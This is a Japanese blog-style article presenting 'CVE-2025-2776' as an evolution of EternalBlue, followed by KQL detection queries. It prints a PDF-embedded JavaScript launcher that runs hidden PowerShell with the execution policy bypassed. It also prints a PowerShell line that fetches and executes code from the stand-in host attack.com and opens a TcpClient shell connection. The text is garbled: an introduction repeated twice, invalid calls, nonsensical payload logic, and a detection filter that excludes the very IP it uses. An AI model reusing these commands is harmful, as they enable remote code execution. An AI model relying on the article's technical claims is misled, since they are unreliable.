
2017年に世界を震撼させたこの問題は、今日のCVE‑2025‑2776へと進化しました。Microsoftは今もSMBv1に依存しています。本記事では、攻撃者が単純なDLLから完全なリバースシェルスタックへと連鎖をどのように改変したのか、そしてそれが防御側にとって何を意味するのかを説明します。
2017年に世界を震撼させた攻撃は、今日のCVE‑2025‑2776へと進化しました。Microsoftは今もSMBv1に依存しており、この記事では、攻撃者が単純なDLLから完全なリバースシェルスタックへと攻撃チェーンをどのように改良してきたのか、そしてそれが防御側にとって何を意味するのかを説明します。
簡単な歴史の振り返り
2017年にWannaCrypterがEternalBlueを使用したとき、この脆弱性は古典的なリモートコード実行バグであり、悪意のある攻撃者がSMBv1を介してWindowsホストにパケットを送信できるようにするものでした。ペイロードは、新しいプロセスを実行して同じマシン上にリスニングポートを開く実行ファイルを作成しました。そこから攻撃者は外部へピボットしたり、データをリモートサーバーへ流出させたりすることができました。EternalBlueのコードは短いものでしたが、追跡が難しい副作用がいくつかありました。SMBパケットのヘッダーレイアウトが奇妙で、Windowsカーネルがペイロードをディスクに書き込む前にメモリ上にドロップするという点です。
時は2025年へと進み、新しいCVE‑2025‑2776は同じアイデアを採用し、さらにもう一段の複雑さを加えています。単にポートを開くだけではなく、攻撃者は今やネットワークスタック自体にリバースシェルを書き込みます。つまり、ログにはPiデバイスから発信された完全なSMBセッションが表示され、監視すべき新しい指標(プロセス名とIPアドレス)が得られます。
**動作を支えるコード **
以下は、PDF添付ファイル内に配置され、チェーン全体を作動させるJavaScriptです:
var cmd = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File C:\Users\Admin\script.ps1"; WshShell.Sleep(500); var sh = WshShell.Exec(cmd); while (!sh.StdOut.EndOfStream) { var line = sh.StdOut.ReadLine(); WScript.Echo(line); }
スクリプトが完了すると、ターゲットホスト上にscript.ps1という名前のファイルが作成されます。PowerShellスクリプト自体は次のようになります:
powershell Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://attack.com/shell.exe') $client = New-Object System.Net.Sockets.TcpClient $client.Connect('10.0.1.5', 445) $stream = $client.GetStream() $payload = Get-Content -Path C:\Users\Admin\script.ps1 | Out-File -Encoding binary $stream.Write($payload, 0, $payload.Length)
CVE-2025-2776のKQL検出戦略
不審なPowerShellの実行
ユーザーディレクトリ内でのscript.ps1の作成を検出します。
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has_all ("-ExecutionPolicy", "Bypass", "-NoProfile") | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine, AccountName
通常とは異なるIPへの送信SMB接続
標準的でない内部IPへの送信SMBトラフィックをフラグ付けします
DeviceNetworkEvents | where RemotePort == 445 | where RemoteIP !startswith "192.168." and RemoteIP !startswith "10." | where InitiatingProcessFileName == "powershell.exe" | project Timestamp, DeviceName, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine
TCPClientによるリバースシェルの挙動
リバースシェルの挙動を開始するために.NETクラスを使用するPowerShellを探します。
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has "System.Net.Sockets.TcpClient" | project Timestamp, DeviceName, ProcessCommandLine, AccountName
ネットワークストリーム書き込みアクティビティ
テレメトリに.NETストリームアクティビティが含まれる場合の高度な検出。
DeviceProcessEvents | where ProcessCommandLine has "GetStream" and ProcessCommandLine has "Write" | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, ProcessCommandLine, AccountName